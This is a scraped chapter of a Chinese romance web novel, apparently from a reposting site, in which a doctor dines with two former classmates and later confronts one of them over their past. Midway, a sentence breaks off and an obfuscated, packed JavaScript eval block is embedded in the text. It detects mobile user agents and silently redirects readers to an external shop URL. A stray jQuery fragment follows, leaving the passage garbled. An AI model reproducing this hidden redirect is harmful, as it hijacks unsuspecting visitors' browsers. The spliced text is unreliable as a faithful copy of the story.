文趣网 > 都市小说 > 暗涌[破镜重圆] > 11. 第 11 章
    梁予淮再次出现在食堂时,引起了小范围的讨论。

    这几天医院的各个角落,时不时就能听到有人在说,住院部18楼来了个极品帅哥。

    就连孟知杳,也不止在一个群里看到过梁予淮的风采,各种角度。

    即使汤嘉瑞早就习惯到哪儿都拉风的兄弟,见此情形依然十分无语。

    他扯了下梁予淮闷骚的黑色衬衫:“你是来医院陪护的还是来走秀的,穿成这样是要闹哪样?”

    梁予淮事先也不知道要来食堂,也后悔着呢,但他不会跟汤嘉瑞承认。

    “你穿不一定有这个效果。”

    论打嘴仗,汤嘉瑞甘拜下风:“是是是,您多帅啊。”

    “客观事实陈述。”

    汤嘉瑞嘴角抽搐,一脸嫌弃:“要点脸吧你。”

    “你同桌的原话。”

    汤嘉瑞吐槽的话被噎了回去:“行吧。”

    孟知杳作为三人里唯一的内部人员,走在最前面准备刷饭卡。

    汤嘉瑞连忙跟上,说一定要他来请客。

    孟知杳:“内部食堂只能刷饭卡。”

    “那下次我再请你。”

    朋友之间就得这么有来有往,汤嘉瑞没再坚持:“我爸妈也说一定得请你吃饭。”

    “啊?”孟知杳被吓得语塞,“不…不用了吧。”

    “要的要的。用我妈的话来说,你给我补习,那简直是天使降临。”

    汤嘉瑞又想起她的职业:“你现在确实成了白衣天使了。”

    他们一家人说话都这么夸张吗?

    “其实,我帮你补习,只是想让你少说点话。”

    梁予淮在一旁笑不可遏。

    汤嘉瑞一点不觉得尴尬:“不管是因为什么,成果我享受到了,就应该谢谢你,真心的。”

    孟知杳赧然:“都这么久的事了,就别谢来谢去的了,都是同学嘛,互相帮助也是应该的。”

    晚餐吃得很简单,都是食堂的饭菜。

    梁予淮本就是附带的,汤嘉瑞理所应当地让他单独坐一边,自己则和孟知杳坐在同一边。

    十年了,光是高中同学的八卦都能说一晚上。

    当年,孟知杳虽然很少跟班里同学来往,但她很喜欢6班的氛围。

    所以即便过了这么多年,孟知杳听到汤嘉瑞说起久远的名字,还是能想起一张张稚嫩的脸。

    餐叙过半,两个年轻女孩结伴来到他们这桌旁边。

    其中一个女孩站到梁予淮旁边:“帅哥,能加个联系方式吗?”

    汤嘉瑞正在一一细数这些年来高中同学们的情史,孟知杳对高中同学都还有印象,因此听得津津有味。

    两人被年轻的女声打断,抬眼见到姑娘找梁予淮要联系方式。

    汤嘉瑞挤眉弄眼地示意孟知杳看:“让他孔雀开屏!”

    孟知杳被逗笑,今天第一次打量起梁予淮来。

    他今天确实跟往常不太一样。

    头发是打理过的,干净利落,更显眼眉深邃。

    身上是黑色衬衫,最上面两颗扣子没系,恰到好处的坦露,更显落拓不羁,清隽非常。

    这俩人把他晾在一边好半天了,现在还一起取笑他。

    梁予淮轻轻撩起眼皮,似笑非笑地看了孟知杳一眼,才抬头去看那位要联系方式的女生:“不好意思,我有女朋友了。”

    年轻姑娘丢了句“不好意思”就仓皇离开了。

    汤嘉瑞揶揄梁予淮:“我们阿淮什么时候有女朋友了,我怎么不知道?”

    梁予淮没好气:“吃你的饭。”

    论吵架拌嘴,汤嘉瑞也就在这件事上能跟梁予淮打个平手。

    他突然来了兴致:“你再不谈恋爱,爷爷都要愁死了。”

    梁予淮警告汤嘉瑞:“你少在老爷子那儿胡说。”

    汤嘉瑞今天可不怕他,他跟孟知杳轻声爆料:“他这么多年不谈恋爱,肯定有问题,我都要怀疑他是不是gay了。”

    “嗯?”

    以梁予淮对汤嘉瑞的了解,眼下这个情形,他吐不出什么象牙来。

    “说什么呢你!”

    老友重逢,汤嘉瑞高兴得忘了形。

    “我之前去他们车队玩,他手底下那些年轻车手都来问我,他是不是这么大年纪了还是个处男。”

    汤嘉瑞越说越觉得好笑:“他们私底下还打赌呢。”

    孟知杳不经意地抬了下眼尾:“是吗,那你参与了吗?”

    “这么有意思的我当然要赌一下了,”汤嘉瑞凑到孟知杳耳边,“我觉得他是。”

    “那结果怎么算的?”

    “没有结果。”汤嘉瑞啧一声,压低了声音,“那帮小孩不敢问,让我去问。我能同意吗,真问了他得弄死我。”

    “哦。”

    孟知杳一副事不关己的样子,还乐此不疲地跟汤嘉瑞笑话他,揣测他。

    梁予淮气不打一处来。

    叮地一声,孟知杳的手机收到一条消息提示音。

    孟知杳不敢错过任何电话或者信息,她揿亮手机屏幕,显示收到一条信息。

    来源于梁予淮。

    她没解锁,继续埋头吃饭,让手机自行熄灭。

    “吃饭吧,我上班时间快到了。”

    梁予淮食不下咽。

    “孟医生不查收信息吗,万一有紧急情况呢?”

    “垃圾短信。”

    垃圾短信?

    不敢看才是真吧。

    汤嘉瑞说梁予淮坏话,梁予淮罕见地没反唇相讥。

    这怕不是要秋后算账吧?

    汤嘉瑞警惕地看了梁予淮一眼,却见梁予淮不错眼珠儿地盯着孟知杳。

    那眼神,那嘴角的笑,说不出的味道。

    霎时间,汤嘉瑞的房子塌了。

    他的兄弟好像对他的同桌一见钟情了。

    原来,孟知杳不是天使。

    他才是那个背着翅膀、拿着弓箭的大胖小子。

    *

    这顿晚饭,因为汤嘉瑞十分出彩的讲故事能力,孟知杳不知不觉地吃得有点多。

    她担心自己会积食,想着去买点消食的药。

    “你俩先上去吧,我去买点东西。”

    孟知杳往医院外头去,梁予淮视线跟随,旁若无人。

    汤嘉瑞顺着他的视线看过去,眉头越皱越紧。

    忍无可忍,汤嘉瑞照着梁予淮来了一拳。

    “不准。”

    毫无来由的两个字,梁予淮莫名懂了汤嘉瑞的意思。

    他被汤嘉瑞这护崽的样子给逗乐了:“你凭什么不准?”

    “阿杳不是你能妄想的。”

    笑话。

    他已经想了十二年了。

    梁予淮选择无视汤嘉瑞的提醒。

    哟呵,装都不装了?

    汤嘉瑞气不打一处来:“人跟你熟吗,你就这样?”

    梁予淮哼哼两声,溢出低沉的笑来:“我跟她熟不熟,你去问她,看她怎么回答你。”

    汤嘉瑞嘴角抽搐:“什么意思?”

    “字面意思。”

    孟知杳不擅长说谎。

    若真有人问起她不愿让人知晓的事,她要么避而不谈,要么如实相告,不会骗人。

    梁予淮突然很好奇,若汤嘉瑞真去问她,她会怎么回答。

    孟知杳买了药回来,在医院门口碰到孙笑雯。

    孙笑雯是孟知杳半年前在医院偶然碰到的一个患者家属。

    当时孙笑雯一个人躲在楼梯间哭。

    孟知杳于心不忍,递给她一包纸巾,陪她坐了一会儿。

    那时孙笑雯刚进入社会工作,就被告知妈妈得了尿毒症,查出来时已经是晚期,还伴有严重的心力衰竭。

    之后的半年里,孙笑雯每周都带着妈妈来医院做两次透析。

    她们偶尔会碰到,说上几句话,大多都是些没有营养的对话。

    但这次在医院门口碰到孙笑雯,孟知杳预感不太好。

    孙笑雯以前总是背着一个很大的帆布挎包,里面装了很多她带妈妈来医院做透析时可能用到的东西。

    现在那个包是瘪的。

    孙笑雯捋了下挎包的背带,冲孟知杳笑了笑:“孟医生,最近好吗?”

    “挺好的,你呢。”

    “不太好。我妈妈去世了。”

    眼泪无声无息掉了下来。

    孟知杳沉吟半晌,缓缓说出两个字:“节哀。”

    孙笑雯狠狠地吸进去一口气,尽量使

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564467|204669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己看起来轻快些。

    “我今天来医院办点手续,没想到还能见到你。这半年,谢谢孟医生陪我聊天。”

    孟知杳咬了咬唇,喉头哽噎得厉害。

    “今后什么打算?”

    “我想去京市,去找工作。”

    因为母亲的病,孙笑雯辞去了原本在京市的工作,陪妈妈走完了最后一程。

    孟知杳不擅长安慰,也不擅长告别。

    “一路顺风。”

    孙笑雯上前,轻轻抱了孟知杳一下。

    她本来有很多话想说的,但那都不重要了。

    “孟医生,也祝你一路顺风。”

    “谢谢。”

    深夜,第一住院部与第二住院部的连廊。

    孟知杳倚着窗前的栏杆,任由晚风吹过她的脸庞。

    作为女儿的孙笑雯卸下了重担,选择去做她自己,孟知杳为她感到开心。

    可是,她陷入了一种迷思,一跟思维的怪圈。

    女儿是否真的要在脱离母亲以后,才能真正成为自己。

    孟知杳想不明白。

    “怎么不回我信息?”

    孟知杳太入神,丝毫没有察觉到有人过来。

    梁予淮不知道什么时候跟她站到一起的。

    孟知杳扭头,入目是他的侧脸。

    他目光极淡,望着浓厚的夜色,似乎并没有在等她的答案。

    孟知杳收回视线,闭上眼睛:“没来得及看。”

    “是没来得及还是不敢?”

    “如果我说不敢会让你好受些,你就当我是不敢吧。”

    梁予淮简直要被气笑了:“孟知杳,怎么年纪大了,胆子反倒越来越小了?以前你还知道要反抗,现在只会逆来顺受?”

    至少今晚,孟知杳疲于去争辩这些。

    过了一会儿,她听到梁予淮开口:

    “那个女孩跟你哭诉她母亲去世了,你就难受得睡不着?”

    “你偷听我们说话?”

    梁予淮侧身而立:“不是故意的,你们说话的地方旁边就是汤嘉瑞的车。”

    “那也不关你的事。”

    梁予淮面向她。

    “孟知杳,你为什么学医,为什么做了医生?”

    忍了好些天,他终于还是问出口了。

    孟知杳不想回答,挖苦他:“梁先生还有给人做职业规划的爱好吗?”

    梁予淮倚着围栏,神情专注地抚着右手食指上的伤痕。

    “当初是谁哭着说她不想学医,以后也绝对不会做医生的?”

    孟知杳特意避开他指背上那道伤口。

    “老提那些陈年旧事做什么,十年了,还过不去吗?”

    “既然过去了,为什么不敢看,不敢提?”

    孟知杳突然就不想再跟他绕圈子了。

    那太累了。

    梁予淮对她有什么意见,有什么情绪,她都不想再深究了。

    不如就趁今天一次性说清楚吧。

    “梁予淮,当初是我利用了你,对不起。你给个解决方案,我尽量弥补。”

    他们之间,仅仅是利用两个字就能概括吗?

    梁予淮不甘心。

    “你想用什么弥补,钱吗?”

    跟梁予淮谈钱就太不自量力了。

    但孟知杳再没有别的能拿出来了。

    “你想好告诉我。”

    孟知杳要走,梁予淮拦住她:“你先回复我的信息。”

    那条信息,孟知杳确实没看,但她能猜到是关于什么。

    “我没带手机。”

    医生值班不可能不带手机。

    梁予淮没拆穿她,他拿出自己的手机展示给她。

    上面明晃晃地显示着:[我是不是,你很清楚。]

    “看到了?想说什么?”

    梁予淮不肯放过她任何一个表情,虎视眈眈地盯着她,要一个回应。

    孟知杳平静的眼底泛起涟漪,搁在口袋里的手握紧,指甲陷入手心。

    良久,她缓缓开口:

    “如果跟我做/爱这件事让你觉得难堪…”

    “难堪?”

    梁予淮将她逼至角落,隐隐有些怒意:“那么这种事,孟医生觉得该怎么补偿?”